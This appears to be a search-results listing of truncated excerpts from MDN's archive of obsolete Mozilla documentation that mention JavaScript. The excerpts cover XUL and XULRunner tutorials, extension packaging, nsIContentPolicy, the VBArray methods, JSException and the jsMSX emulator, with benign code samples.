JavaScript code and these CSS rules, we can Tab to the spreadsheet See which cell, row header, or column header has focus Click on other cells or headers to change focus within the spreadsheet Tab off the spreadsheet by pressing TAB once Tab back to the spreadsheet and automatically set focus to the previously focused cell or header Inspect32 confirms that all of this really works; it's not just visual sm...
Complete - Archive of obsolete content
gistration data for Firefox etc. install.js Installation script for SeaMonkey chrome Directory containing the extension code chrome/allcustom.jar The extension jar defaults/preferences Directory containing a preferences file Inside the jar there are three directories: content XUL,
JavaScript and other content that does not depend on the locale or theme locale Files for each locale skin Files for each theme Version checks Firefox etc. check extensions for compatibility before installing them. These version checks depend on the version numbers specified in the install.rdf file. There are two approaches: pessimistic and optimistic. Th...
...h language (en) for the United States (US). To make it eaiser to support different locales, developers usually place anything that might depend on the locale in separate files in a separate directory. In the Custom Toolbar Button extension, the only things that might depend on the locale are the text strings displayed in the user interface. These are in the files button.xul and button.js. XUL and
JavaScript each have mechanisms for loading text strings from the correct locale directory. This extension only uses the XUL method. Its
JavaScript code gets the text strings it needs from the XUL. For more information about working with locales, see the main Localization page here. How a text sting gets localized When you press button 1 you see an message in English or French, depending on your application...
...near the top loads a DTD from chrome://allcustom/locale/. The application's chrome registry converts this URL to the correct DTD file for the locale you are using. The XUL toolbarbutton tag contains an entity &allcustom.alert.1;. The DTD resolves this into a text string in the appropriate language. When you press the button, the code in the XUL element sends the text string to the extension's
JavaScript code in allcustom.js. The extension's
JavaScript code displays the text. File structure In the new file structure, there is a locale directory for all the locales. Each locale has its own directory there. In each locale's directory, there is an allcustom directory. This is useful when files from various components and extensions and all unpacked in the same place--it keeps each set of files sepa...
Adding Event Handlers - Archive of obsolete content
e haven't cleaned it up much but we have created a simple user interface easily. Next, we will show how to add scripts to it. Using Scripts To make the find files dialog functional, we need to add some scripts which will execute when the user interacts with the dialog. We would want to add a script to handle the Find button, the Cancel button and to handle each menu command. We write this using
JavaScript functions much in the same way as HTML. You can use the script element to include scripts in XUL files. You can embed the script code directly in the XUL file in between the opening and closing script tags but it is much better to include code in a separate file as the XUL window will load slightly faster. The src attribute is used to link in an external script file. Our find files example Le...
...rs. You can include multiple scripts in a XUL file by using multiple script tags, each pointing to a different script. You may use relative or absolute URLs. For example, you may use URLs of the following form: <script src="findfile.js"/> <script src="chrome://findfiles/content/help.js"/> <script src="http://www.example.com/js/items.js"/> This tutorial does not attempt to describe how to use
JavaScript (except as related to event handling) as this is a fairly large topic and there are plenty of other resources that are available for this. By default the
JavaScript console only shows errors from web content. To show errors in chrome
JavaScript, it is necessary to change the preference
javascript.options.showInConsole to true. You can also change the preference
javascript.options.strict for debu...
... Responding to Events The script will contain code which responds to various events triggered by the user or other situations. There are about thirty or so different events that may be handled in several different ways. A typical event is the user pressing a mouse button or pressing a key. ...
XUL Structure - Archive of obsolete content
files, access preferences and bookmarks and perform other privileged operations. Obviously, web pages do not get these privileges, unless they are signed with a digital certificate and the user has granted permission to perform these operations. This chrome package registration is the way Firefox extensions are able to add features to the browser. The extensions are small packages of XUL files,
JavaScript, style sheets and images packed together into a single file. These packaged files can be created by using a ZIP utility. When the user downloads the zipped file, the packaged files will be installed onto the user's machine. The extension will hook into the browser using a XUL specific feature called an overlay which allows the XUL from the extension to mesh with the XUL in the browser. To the use...
...de XUL code in a similar way, but, of course, the XUL for the application will be included as part of the installation, instead of having to be installed separately as an extension. However, this XUL code will be registered in the chrome system such that the application can display the UI. It is worth noting that the Mozilla browser itself is actually just a set of packages containing XUL files,
JavaScript and style sheets. These files are accessed via a chrome URL and have enhanced privileges and work just like any other package. Of course, the browser is much larger and more sophisticated than most extensions. Firefox and Thunderbird, as well as number of other components are all written in XUL and are all accessible via chrome URLs. You can examine these packages by looking in the chrome directo...
...onvention to make the parts of a package clearer. Some packages may include a content section, a skin, and a locale. In this case, you will find a subdirectory for each type. For example, Chatzilla is distributed in this way. The content/browser directory contains a number of files with .xul and .js extensions. The XUL files are the ones with the .xul extension. The files with .js extensions are
JavaScript files containing scripts that handle the functionality of a window. Many XUL files have a script file associated with them, and some may have more than one. In the listing above, two files have been shown. There are of course others, but for simplicity they aren't shown. The file browser.xul is the XUL file that describes the main browser window. The main window for a content package should have...
Using Remote XUL - Archive of obsolete content
sed applications. [***aw: we should have a screenshot here of a xul document loaded in a content window***] This tutorial walks you through the process of building XUL-based navigation for the mozilla.org web site. After completing the tutorial you should understand how to: create XUL documents; serve them from a web server; use Cascading Style Sheets (CSS) to change their appearance; use
JavaScript to define their behavior. Global Web Site Navigation Most web sites today have poor global navigation (features for locating and visiting pages across the entire site). It is difficult to discern the site's basic structure and available resources, which makes it hard to locate a particular page or find the one with the information you want. Part of the problem is that HTML has limited feature...
...y, and work well. Note: The downside to using XUL is that it only works with browsers that understand it. This isn't a problem inside an organization that uses Mozilla-based browsers exclusively, but for other sites you may need to provide another form of navigation as well. Prerequisites To understand this tutorial you should have experience with tag-based languages like HTML along with basic
JavaScript, CSS, and the DOM. Knowledge of XML and its syntax is useful but not required. You also need a text editor and a web browser that can render XUL, like Mozilla, or Firefox. If you build a XUL file along with this tutorial and put it onto a web server, you need to configure your web server to specify the content type of XUL files as application/vnd.mozilla.xul+xml. For Apache, you can do this by a...
...ehavior, however, so you should always specify a stylesheet. Source | Rendered Step 6: behavior So far, so good. We have a menu bar with menus and buttons, and we can press the buttons, open the menus, and select their items. The interface is in place, but it doesn't do anything. We want it to load URLs in the iframe when we press the buttons or select the menu items. For that we need to add
JavaScript code. <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/
javascript"> function loadURL(event) { var contentFrame = document.getElementById("contentFrame"); var url = event.target.getAttribute("value"); if (url) contentFrame.setAttr...
XML - Archive of obsolete content
, and in this respect it does a great job. Using a combination of XUL's ready-made widgets (e.g., menubar, scrollbar, progressmeter, and so on) and XUL's incorporation of such standards as HTML4, DOM1/2, and Cascading Stylesheets, you can design any interface that you can imagine, using any number of different features, tools, and methodologies. There are many times, for example, when you may use
JavaScript tricks to add extra behavior. But the necessary tradeoff for XUL's flexibility is a lack of implicit functionality -- the lack ofintuition, you might say, that XUL has in interpreting what it is you want. In order to provide flexibility to you as adesigner of interfaces, XUL offers no flexibility to you as acoder. You must be very careful about your syntax, and in particular about these four card...
...n interpreting what it is you want. In order to provide flexibility to you as adesigner of interfaces, XUL offers no flexibility to you as acoder. You must be very careful about your syntax, and in particular about these four cardinal rules of XUL: All events and attributes must be written in lowercase. Unlike HTML, XUL is very sensitive to case. All of the events and attributes -- even the
JavaScript event listeners normally formatted in the
JavaScript world with uppercase verbs (e.g., onClick, onLoad) -- must be lowercase or they are invalid. All strings must be double quoted. All of the values for all of the attributes declared in XUL are strings. When an attribute is assigned a value (e.g., flex="1" or "onload='doInterestingStartupThing()'") that value must be double-quoted. Every ...
...o build any interface. XUL is timely. Only quite recently have the standards out of which XUL was fashioned matured to a level where they might really be powerful and flexible enough to support the sort of development that XUL provides for. As the figure below indicates, XUL is an amalgam of these different standards: CSS for styling or "skinning", DOM for the object model and scriptable access,
JavaScript for the linking and behavior, RDF for resources, XML for the structure, and HTML for the content and some little extras. In this way, it's more like a developmentplatform or framework than a user interface language, particularly when it's used with related cross-platform technologies like XPCOM, which also went into Mozilla. Gecko Reads XUL and Makes Interfaces Just as our specially created mem...
tree - Archive of obsolete content
t. builderView Type: nsIXULTreeBuilder A reference to the tree builder which constructed the tree data. The builder provides access to the RDF resources for each row in the tree, and allows sorting the data by column. In newer versions of Mozilla, the builderView property is actually a synonym for the view property, since the two interfaces are flattened together into a single interface in
JavaScript. This property is read-only. columns Type: nsITreeColumns Returns the columns for the tree as an nsITreeColumns object. contentView Type: nsITreeContentView For trees built with a content builder - that is, those that do not have flags set -- the contentView will be a reference to the nsITreeContentView for the tree. This interface lets you retrieve t...
...e the DOM element corresponding to a given a row index and vice versa. For trees that are not built with a content builder, the functions of nsITreeContentView will not be available, since there are no DOM nodes to retrieve. In newer versions of Mozilla, the contentView property is actually a synonym for the view property, since the two interfaces are flattened together into a single interface in
JavaScript. This property is read-only. currentIndex Type: integer Set to the row index of the tree caret in the tree. For trees with focus, the caret's position is indicated by the focus ring, but unfocused trees won't show a focus ring, naturally. For unfocused trees, the (undrawn) caret's position can still be obtained by this property. If the caret isn't present for any row (for ...
... #EEEEEE; } treechildren::-moz-tree-row(odd, selected) { background-color: #FFFFAA; } treechildren::-moz-tree-cell-text(selected) { color: #000000; } treechildren::-moz-tree-cell-text(odd, selected) { color: #000000; } treechildren::-moz-tree-row(hover) {background-color: #FFFFAA !important;} treechildren:-moz-tree-column { border-right:1px solid rgb(220,220,220) !important; } The
JavaScript to get the text for the selected row/rows: function getrowcellvalues() { var tree = document.getElementById('mytree'); for (var i = 0; i < tree.view.rowCount; i++) { if (tree.view.getCellValue(i, tree.columns.getColumnAt(0)) == 'true'){ alert(tree.view.getCellText(i, tree.columns.getNamedColumn("name"))); } } } This way, you can get the tree cell values of the selected ch...
Dialogs in XULRunner - Archive of obsolete content
ve dialogs are good examples of these. Whenever possible, it is a good idea to reuse these "native" dialogs so users get a consistent experience across applications. Custom dialogs Building dialogs in XUL is very similar to creating windows. Each dialog is described in its own XUL file. XUL provides a dialog element to act as the container for the dialog. Dialog XUL files can have DTD, CSS, and
JavaScript, just like windows. Here is an example XUL dialog: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <dialog id="myDialog" title="My Dialog" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="window.sizeToContent();" buttons="accept,cancel" buttonlabelaccept="Set Favorite" buttonaccesskeyaccep...
... my eye about dialog is the button-related attributes on the element. In an effort to make things easier for developers and more consistent for users, XUL has a mechanism to automatically create and position the core dialog buttons ("OK," "Cancel," and "Help" for example). The developer just declares the need for the button, the button's caption, and the access key for the button, as well as the
JavaScript function to call if the button is pressed. XUL handles placing and styling the buttons on the dialog. This is also nice for cross-platform applications, as each OS has its own convention for where buttons should be placed on a dialog. Here is a short list of the button attributes on dialog; see also Creating dialogs at MozillaZine knowledge base: buttons A comma separated list of buttons to ...
...log; see also Creating dialogs at MozillaZine knowledge base: buttons A comma separated list of buttons to show on dialog (accept, cancel, help, extra1, and extra2). buttonlabelaccept Label for the accept button; similar attributes exist for the other button types. buttonaccesskeyaccept Access key for the accept button; similar attributes exist for the other button types. ondialogaccept
JavaScript to execute if the accept button is pressed; similar attributes exist for the other button types. XUL has a wide range of input controls you can use in a dialog. In the future, I will try to go into more detail on some of the existing and planned XUL input controls. Not too sure if I'll use the <dialogheader>, but if I did, the single element would be a big time saver over building the header fr...
Getting started with XULRunner - Archive of obsolete content
is the application root chrome.manifest: manifest chrome/chrome.manifest Step 6: Set up preferences The prefs.js file tells XULRunner the name of the XUL file to use as the main window. Here is mine: pref("toolkit.defaultChromeURI", "chrome://myapp/content/main.xul"); /* debugging prefs, disable these before you deploy your application! */ pref("browser.dom.window.dump.enabled", true); pref("
javascript.options.showInConsole", true); pref("
javascript.options.strict", true); pref("nglayout.debug.disable_xul_cache", true); pref("nglayout.debug.disable_xul_fastload", true); XULRunner specific preferences include: toolkit.defaultChromeURI Specifies the default window to open when the application is launched. toolkit.defaultChromeFeatures Specifies the features passed to window.open() when th...
...ple XUL window, which is described in the file main.xul. Nothing fancy here, just the minimum we need to make a window. No menus or anything. main.xul: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="main" title="My App" width="300" height="300" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/
javascript" src="chrome://myapp/content/main.js"/> <caption label="Hello World"/> <separator/> <button label="More >>" oncommand="showMore();"/> <separator/> <description id="more-text" hidden="true">This is a simple XULRunner application. XUL is simple to use and quite powerful and can even be used on mobile devices.</description> </window> Note: Make sure there is no extra whitespace at the ...
...="Hello World"/> <separator/> <button label="More >>" oncommand="showMore();"/> <separator/> <description id="more-text" hidden="true">This is a simple XULRunner application. XUL is simple to use and quite powerful and can even be used on mobile devices.</description> </window> Note: Make sure there is no extra whitespace at the beginning of the XML/XUL file The application also has a
JavaScript file. Most XUL applications will include some external
JavaScript, so the sample application does too, just to show how to include it into the XUL file. main.js: function showMore() { document.getElementById("more-text").hidden = false; } For more information about XUL see: XUL. For information about mixing HTML elements into your XUL read Adding HTML Elements. Step 8: Run the applicati...
XULRunner Hall of Fame - Archive of obsolete content
rams and GUI prototyping that everyone can use. Source Qiqqa Research manager, reference manager, and PDF manager. XULRunner is embedded to provide automatic search against journal archives, automatic acquisition of BibTeX information, and automatic downloading of PDFs. SlimerJs SlimerJS is a XulRunner application that can be launched with Firefox, allowing to execute an external
javascript script which can manipulate web content. Its goal is to provide a tool like PhantomJs, with the same API, except that it runs Gecko instead of Webkit, and it is not headless (but you can still use xvfb to have a headless SlimerJS). SQLite Manager Manage all your sqlite databases using this lightweight extension for firefox, thunderbird, seamonkey, songbird, komodo etc. SQLite Manager ...
... Patches Lotus Notes / Sametime The latest version of IBM Lotus Notes and Sametime can embed xul application. Mockery Mockery is a GUI design tool for creating and editing mockups, prototypes, and wireframes for web and desktop software. Latest release August 2010 Plain Old Webserver Google warns that this link is unsafe. A fully-functioning webserver that runs server-side
Javascript. Latest release June 2009 Prism (formerly known as Webrunner) A simple, minimal web browser shell or "Single site browser." Useful for running web applications such as Gmail in a separate browser process. Songbird Songbird(TM) is a desktop Web player, a digital jukebox and Web browser mashup. Build instructions Spicebird A collaboration suite - e-mail, calendaring and inst...
...ython-hulahop is required Python-Hulahop from the OLPC Sugarlabs A Python GTK Widget with XULrunner embedded, providing full access to nsI DOM and all other XULrunner interfaces, in a GTK window. It's possible to create your own python web browser with hulahop, and much much more besides. XULJet A framework that helps to create platform independent desktop applications directly in
JavaScript ...
XULRunner tips - Archive of obsolete content
.in as in browser/fuel/src/Makefile.in rebuild... Useful Chrome URLs Most of these require branding. ...
... var windowDS = Components.classes["@mozilla.org/rdf/datasource;1?name=window-mediator"] .getService(Components.in...
...ozilla extensions, and each application (Firefox, Thunderbird) simply contains a few small, one line files pointing to the location of the extensions. (I keep them in source control to be sure I can maintain compatibility) Component Viewer Need custom build, first of all. What else? Extension Developer's Extension Extension Developer's Extension is a useful tool, featuring Live XUL Editor and
JavaScript Shell. To install the extension into your application you'll need to hack its install.rdf (see above). You'll probably also want to create menuitems that let you open the JS Shell and other tools provided by the extension. Branding Branding is a chrome package containing product-specific information (e.g. the product name, vendor, and logo). Some XULRunner components (in particular, the Extens...
nsIContentPolicy - Archive of obsolete content
Supports aExtra, in nsIPrincipal aRequestPrincipal); Constants Content types Constant Value Description TYPE_OTHER 1 Indicates content whose type is unknown, or is not interesting outside a limited use case. In general, you should try not to use this type unless none of the others is a fit. TYPE_SCRIPT 2 Indicates an executable script (such as
JavaScript). TYPE_IMAGE 3 Indicates an image (for example, <img> elements). TYPE_STYLESHEET 4 Indicates a stylesheet (for example, <style> elements). TYPE_OBJECT 5 Indicates a generic object (plugin-handled content typically falls under this category). TYPE_DOCUMENT 6 Indicates a DOM document at the top-level (that is, directly within a browser tab...
...nters of this method must not do any of the following: Modify the DOM in any way (e.g., setting attributes is a no-no). Query any DOM properties that depend on layout (e.g., offset* properties). Query any DOM properties that depend on style (e.g., computed style). Query any DOM properties that depend on the current state of the DOM outside the "context" node (e.g., lengths of node lists). [
JavaScript implementations only] Access properties of any sort on any object without using XPCNativeWrapper (either explicitly or implicitly). Due to various DOM0 things, this leads to item 4. If you do any of these things in your shouldLoad() implementation, expect unpredictable behavior, possibly including crashes, content not showing up, content showing up doubled, etc. If you need to do any of the thi...
...e notifications, you must register your plugin with nsICategoryManager. See example below. char* previous = nsnull; nsCOMPtr<nsICategoryManager> catman; servman->GetServiceByContractID(NS_CATEGORYMANAGER_CONTRACTID, NS_GET_IID(nsICategoryManager), getter_AddRefs(catman)); rv = catman->AddCategoryEntry("content-policy", COMPONENT_CLASSNAME, COMPONENT_CONTRACTID, PR_TRUE, PR_TRUE, &previous);
JavaScript developers can also implement an XPCOM component that extends nsIContentPolicy. ...
Sunbird Theme Tutorial - Archive of obsolete content
text files Software for creating and editing images Note: Some zip tools only work with files whose names have <tt>.zip</tt> at the end. You can use this kind of zip tool if you rename each file before and after using the tool. You also need knowledge of: Using your operating system to create files and directories Using the tools listed above CSS Graphic design Knowledge of XUL, XBL and
JavaScript is useful for advanced themes. Making a theme A theme consists of: A unique identifier A file containing information about the theme A file that registers the theme with Sunbird Some files containing the theme itself Set up your theme in Sunbird's profile directory. For information on how to find the profile directory, see the Mozillazine article: Profile Folder Inside the profile direct...
... so that you have a clear design concept to implement. Understanding Sunbird's user interface To understand Sunbird's user interface, go to Sunbird's program directory, then to the <tt>chrome/content/calendar</tt> directory there. Examine the files there to understand how Sunbird's user interface is constructed. The basic interface is written in XUL, but some parts are constructed using XBL or
JavaScript. To discover details of the interface, you can also use the DOM Inspector tool in Firefox. Install a compatible test build of the Calendar extension in Firefox 1.5, and examine its interface. The details are mostly the same as in Sunbird. Note: Sunbird's views changed at the end of December 2005. So do not waste time styling the old views. Work with a recent test build so that your theme will be...
...mine its interface. The details are mostly the same as in Sunbird. Note: Sunbird's views changed at the end of December 2005. So do not waste time styling the old views. Work with a recent test build so that your theme will be compatible with the next release. Testing further changes When you make further changes to your theme, test them by restarting Sunbird. To detect errors, choose Tools -
JavaScript Console... The
JavaScript Console window displays CSS errors, not just
JavaScript errors. Making an icon and preview The Themes window can display an icon and a preview graphic. You normally make these after you have designed the rest of your theme. Make an image file 32 by 32 pixels, and save it as <tt>icon.png</tt> in your theme directory. Make an image file about 200 by 100 pixels, and save...
Settings - Archive of obsolete content
Debugger has its own settings menu, which you can access from an icon in the toolbar: Each setting is a simple on/off switch: Auto Prettify Minified Sources With this option enabled, the debugger will automatically detect minified JS files and pretty-print them. Pause on Exceptions When this option is enabled, execution of the script will automatically pause whenever a
JavaScript exception is thrown. Ignore Caught Exceptions If this option is set (it is set by default) and "Pause on exceptions" is set, then execution will pause on an exception only if that exception is not caught. This is usually the behavior you want. You don't generally want to pause execution when an exception that is thrown is caught, since that generally indicates that your prog...
...e behavior you want. You don't generally want to pause execution when an exception that is thrown is caught, since that generally indicates that your program is handling it properly. Show Panes on Startup When this option is enabled, the debugger's variables pane is visible when you first start the debugger. Show Only Enumerable Properties Do not display non-enumerable
JavaScript properties. Show Variables Filter Box Enabling this option adds a "Filter variables" search box to the variables pane, so that you can filter the displayed list of variables. Show Original Sources Enabling this option will make the debugger use source maps, if they are available, to display the original source for code which has been combined, minified, or even compiled to...
...properties. Show Variables Filter Box Enabling this option adds a "Filter variables" search box to the variables pane, so that you can filter the displayed list of variables. Show Original Sources Enabling this option will make the debugger use source maps, if they are available, to display the original source for code which has been combined, minified, or even compiled to
JavaScript from a language like CoffeeScript. Defaults to true. Automatically Black Box Minified Sources New in Firefox 33. Automatically black box sources whose URL ends with ".min.js". Defaults to true. ...
References - Archive of obsolete content
The webpage explains and proposes with small examples the best coding practices and most recommendable ways of developing problem-free
javascript code. From Matt Kruse Debugging HTML and CSS is a well designed website explaining well the how, why and where of HTML validat...
...From Matt Kruse Debugging HTML and CSS is a well designed website explaining well the how, why and where of HTML validation, CSS validation and debugging tools. We highly recommend this site. It is also available in Fre...
...g for standard-compliant browsers, Part 1 from Makiko Itoh Preparing for standard-compliant browsers, Part 2 from Makiko Itoh
Javascript Best Practices lists 15 of the most frequent coding practices which create problems for
javascript and DHTML-driven webpages. The webpage explains and proposes with small examples the best coding practices and most recommendable ways of developing problem-free
javascript code. From Matt Kruse Debugging HTML and CSS is a well designed website explaining well the how, why and where of HTML validation, CSS validation and debugging tools. We highly recommend this site. It is also available in French. From Dan. <- Previous section: Summary of Changes ...
E4X for templating - Archive of obsolete content
t in Firefox 16, disabled by default for chrome in Firefox 17, and removed in Firefox 18. Use DOMParser/DOMSerializer or a non-native JXON algorithm instead. E4X can be used for creating templates for dynamic content. While it may be obvious after a study of the basics of E4X that it can be used for this purpose, if one adds a few common purpose functions (especially along with the convenience of
JavaScript 1.8 expression closures), the templates can function more dynamically, offering the power and readability of templating languages such as Smarty for PHP (though admittedly without the currently wider cross-browser support of XSLT or the strictly-XML approach of PHPTAL or Seethrough templating). Security and escaping function e (str) { if (typeof str === 'xml') {str = str.toString();} retu...
...ng the power and readability of templating languages such as Smarty for PHP (though admittedly without the currently wider cross-browser support of XSLT or the strictly-XML approach of PHPTAL or Seethrough templating). ...
... ret += item; } else if (typeof item === 'string') { ret += new XML(item); } else { var ser = (new XMLSerializer()).serializeToString(item); ret += new XML(ser); } }); return ret; } Example: var fruits = <fruits> <item>Pear</item> <item>Banana</item> <item>Grapes</item> </fruits>; alert( // Using a
JavaScript 1.8 expression closure <output> {sort(fruits.*, function (a, b) a.text() > b.text() /* text() call may not be necessary */ )} </output>.toXMLString() ); /* <output> <item>Banana</item> <item>Grapes</item> <item>Pear</item> </output> */ The above utility also works if the input is an HTMLCollection, an array of strings, an array of DOM objects, or an array of E4X objects (assuming the...
VBArray.dimensions - Archive of obsolete content
The VBArray.dimensions method returns the number of dimensions in a VBArray. Syntax array.dimensions( ) Remarks The required array is a VBArray object. Example The dimensions method provides a way to retrieve the number of dimensions in a specified VBArray. The following example consists of three parts. The first part is VBScript code to create a Visual Basic safe array. The second part is
JavaScript code that determines the number of dimensions in the safe array and the upper bound of each dimension. Both of these parts go into the <HEAD> section of an HTML page. The third part is the
JavaScript code that goes in the <BODY> section to run the other two parts. <head> <script type="text/vbscript"> <!-- Function CreateVBArray() Dim i, j, k Dim a(2, 2) k = 1 For i = 0 To 2 For...
...AD> section of an HTML page. The third part is the
JavaScript code that goes in the <BODY> section to run the other two parts. ...
...xt CreateVBArray = a End Function --> </script> <script type="text/
javascript"> <!-- function VBArrayTest(vba) { var i; var a = new VBArray(vba); var s = ""; for (i = 1; i <= a.dimensions(); i++) { s += "The upper bound of dimension "; s += i + " is "; s += a.ubound(i); s += ".<br />"; } return(s); } --> </script> </head> <body> <script type="text/
javascript"> document.write(VBArrayTest(CreateVBArray())); </script> </body> Requirements Supported in the following document modes: Quirks, Internet Explorer 6 standards, Internet Explorer 7 standards, Internet Explorer 8 standards, Internet Explorer 9 standards, and Internet Explorer 10 standards. Not supported in Windows 8.x Store apps. Applies To: VBArray Object ...
VBArray.getItem - Archive of obsolete content
safeArray.getItem(dimension1[, dimension2, ...], dimensionN) Parameters safeArray A VBArray object. dimension1, ..., dimensionN Specifies the exact location of the desired element of the VBArray. n equals the number of dimensions in the VBArray. Example The following example consists of three parts. The first part is VBScript code to create a Visual Basic safe array. The second part is
JavaScript code that iterates the Visual Basic safe array and prints out the contents of each element. Both of these parts go into the <HEAD> section of an HTML page. The third part is the
JavaScript code that goes in the <BODY> section to run the other two parts. <head> <script type="text/vbscript"> <!-- Function CreateVBArray() Dim i, j, k Dim a(2, 2) k = 1 For i = 0 To 2 For j = 0 To 2...
...pt code that goes in the <BODY> section to run the other two parts. ...
...Not supported in Windows 8.x Store apps. See Version Information. Applies To: VBArray Object ...
VBArray.lbound - Archive of obsolete content
e, the method generates a "Subscript out of range" error. Parameters safeArray A VBArray object. dimension Optional Optional. The dimension of the VBArray for which the lower bound index is wanted. If omitted, lbound behaves as if a 1 was passed. Example The following example consists of three parts. The first part is VBScript code to create a Visual Basic safe array. The second part is
JavaScript code that determines the number of dimensions in the safe array and the lower bound of each dimension. Since the safe array is created in VBScript rather than Visual Basic, the lower bound will always be zero. Both of these parts go into the <HEAD> section of an HTML page. The third part is the
JavaScript code that goes in the <BODY> section to run the other two parts. <head> <script type="text/...
...AD> section of an HTML page. The third part is the
JavaScript code that goes in the <BODY> section to run the other two parts. ...
...xt CreateVBArray = a End Function --> </script> <script type="text/
javascript"> <!-- function VBArrayTest(vba){ var i; var a = new VBArray(vba); var s = ""; for (i = 1; i <= a.dimensions(); i++) { s += "The lower bound of dimension "; s += i + " is "; s += a.lbound(i); s += ".<br />"; } return (s); } --> </script> </head> <body> <script type="text/
javascript"> document.write(VBArrayTest(CreateVBArray())); </script> </body> Requirements Supported in the following document modes: Quirks, Internet Explorer 6 standards, Internet Explorer 7 standards, Internet Explorer 8 standards, Internet Explorer 9 standards, and Internet Explorer 10 standards. Not supported in Windows 8.x Store apps. Applies To: VBArray Object ...
VBArray.ubound - Archive of obsolete content
omitted, ubound behaves as if a 1 was passed. Remarks If the VBArray is empty, the ubound method returns undefined. If dim is greater than the number of dimensions in the VBArray, or is negative, the method generates a "Subscript out of range" error. Example The following example consists of three parts. The first part is VBScript code to create a Visual Basic safe array. The second part is
JavaScript code that determines the number of dimensions in the safe array and the upper bound of each dimension. Both of these parts go into the <HEAD> section of an HTML page. The third part is the
JavaScript code that goes in the <BODY> section to run the other two parts. <head> <script type="text/vbscript"> <!-- Function CreateVBArray() Dim i, j, k Dim a(2, 2) k = 1 For i = 0 To 2 For...
...AD> section of an HTML page. The third part is the
JavaScript code that goes in the <BODY> section to run the other two parts. ...
...t CreateVBArray = a End Function --> </script> <script type="text/
javascript"> <!-- function VBArrayTest(vba) { var i; var a = new VBArray(vba); var s = ""; for (i = 1; i <= a.dimensions(); i++) { s += "The upper bound of dimension "; s += i + " is "; s += a.ubound(i); s += ".<br />"; } return (s); } --> </script> </head> <body> <script type="text/
javascript"> document.write(VBArrayTest(CreateVBArray())); </script> </body> Requirements Supported in the following document modes: Quirks, Internet Explorer 6 standards, Internet Explorer 7 standards, Internet Explorer 8 standards, Internet Explorer 9 standards, and Internet Explorer 10 standards. Not supported in Windows 8.x Store apps. Applies To: VBArray Object ...
VBArray - Archive of obsolete content
her object. VBArrays can have multiple dimensions. The indices of each dimension can be different. The dimensions method retrieves the number of dimensions in the array; the lbound and ubound methods retrieve the range of indices used by each dimension. Example The following example consists of three parts. The first part is VBScript code to create a Visual Basic safe array. The second part is
JavaScript code that converts the Visual Basic safe array to a
JavaScript array. Both of these parts go into the <HEAD> section of an HTML page. The third part is the
JavaScript code that goes in the <BODY> section to run the other two parts. <head> <script type="text/vbscript"> <!-- Function CreateVBArray() Dim i, j, k Dim a(2, 2) k = 1 For i = 0 To 2 For j = 0 To 2 a(j, i) = k ...
...code that goes in the <BODY> section to run the other two parts. <head> <script type="text/vbscript"> <!-- Function CreateVBArray() Dim i, j, k Dim a(2, 2) k = 1 For i = 0 To 2 For j = 0 To 2 a(j, i) = k document.writeln(k) k = k + 1 Next document.writeln("<br />") Next CreateVBArray = a End Function --> </script> <script type="text/
javascript"> <!-- function VBArrayTest(vbarray){ var a = new VBArray(vbarray); var b = a.toArray(); var i; for (i = 0; i < 9; i++) { document.writeln(b[i]); } } --> </script> </head> <body> <script type="text/
javascript"> <!-- VBArrayTest(CreateVBArray()); --> </script> </body> Properties The VBArray object has no properties. Methods VBArray.dimensions Returns the number o...
...ext/
javascript"> <!-- VBArrayTest(CreateVBArray()); --> </script> </body> Properties The VBArray object has no properties. Methods VBArray.dimensions Returns the number of dimensions in a VBArray. VBArray.getItem Returns the item at the specified location. VBArray.lbound Returns the lowest index value used in the specified dimension of a VBArray. VBArray.toArray Returns a standard
JavaScript array converted from a VBArray. VBArray.ubound Returns the highest index value used in the specified dimension of the VBArray. Requirements Supported in the following document modes: Quirks, Internet Explorer 6 standards, Internet Explorer 7 standards, Internet Explorer 8 standards, Internet Explorer 9 standards, and Internet Explorer 10 standards. Not supported in Windows 8.x Store apps. ...
JSException - Archive of obsolete content
Summary The public class JSException extends RuntimeException java.lang.Object | +----java.lang.Throwable | +----java.lang.Exception | +----java.lang.RuntimeException | +----netscape.
javascript.JSException Description JSException is an exception which is thrown when
JavaScript code returns an error. Constructor Summary The netscape.
javascript.JSException class has the following constructors: JSException Deprecated constructors optionally let you specify a detail message and other information. Method Summary The netscape.
javascript.JSException class has the following methods: getWrappedException Instance method getWrappedException. getWrapp...
...ecated constructors optionally let you specify a detail message and other information. Method Summary The netscape.
javascript.JSException class has the following methods: getWrappedException Instance method getWrappedException. getWrappedExceptionType Instance method getWrappedExceptionType returns the int mapping of the type of the wrappedException object. Backward Compatibility
JavaScript 1.1 through 1.3 JSException had three public constructors which optionally took a string argument, specifying the detail message or other information for the exception. The getWrappedException method was not available. JSException constructors, deprecated in
JavaScript 1.4, constructs a JSException object with an optional detail message. Declaration 1. public JSException() 2. public JSExcept...
... detail message. Declaration 1. public JSException() 2. public JSException(String s) 3. public JSException(String s, String filename, int lineno, String source, int tokenIndex) Arguments s The detail message. filename The URL of the file where the error occurred, if possible. lineno The line number of the file, if possible. source The string containing the
JavaScript code being evaluated. tokenIndex The index into the source string where the error occurred. getWrappedException Instance method getWrappedException. Declaration public Object getWrappedException() Description getWrappedException() returns an object that represents the value that the
JavaScript actually threw.
JavaScript can throw any type of value. Use getWrappedException() to deter...
MSX Emulator (jsMSX) - Archive of obsolete content
What is it? jsMSX is the first MSX emulator 100% written in
JavaScript. Yes, you read it:
JavaScript! It emulates the underlying Z80 CPU, TMS9918 Video Display Processor (VDP), PPI, RAM slots, and Megaram. In its present form, it should be able to run any program or game developed for MSX 1.0. Since
JavaScript currently is mostly an interpreted language in web browsers, it is at least an order of magnitude slower than other languages such as C and Java. Therefore, jsMSX requires a very fast computer to emulate MSX at the normal 50-60 interrupts per second inside a web browser. Why? The initial motivation was to find some interesting project to develop while exploring the possibilities of the <canvas> tag and
JavaScript language in the most recent web browsers like Firefox 2. As you may have realize...
...SX requires a very fast computer to emulate MSX at the normal 50-60 interrupts per second inside a web browser. Why? The initial motivation was to find some interesting project to develop while exploring the possibilities of the <canvas> tag and
JavaScript language in the most recent web browsers like Firefox 2. As you may have realized, many challenges on performance are faced when developing in
JavaScript. They present an interesting testbed for pushing the current
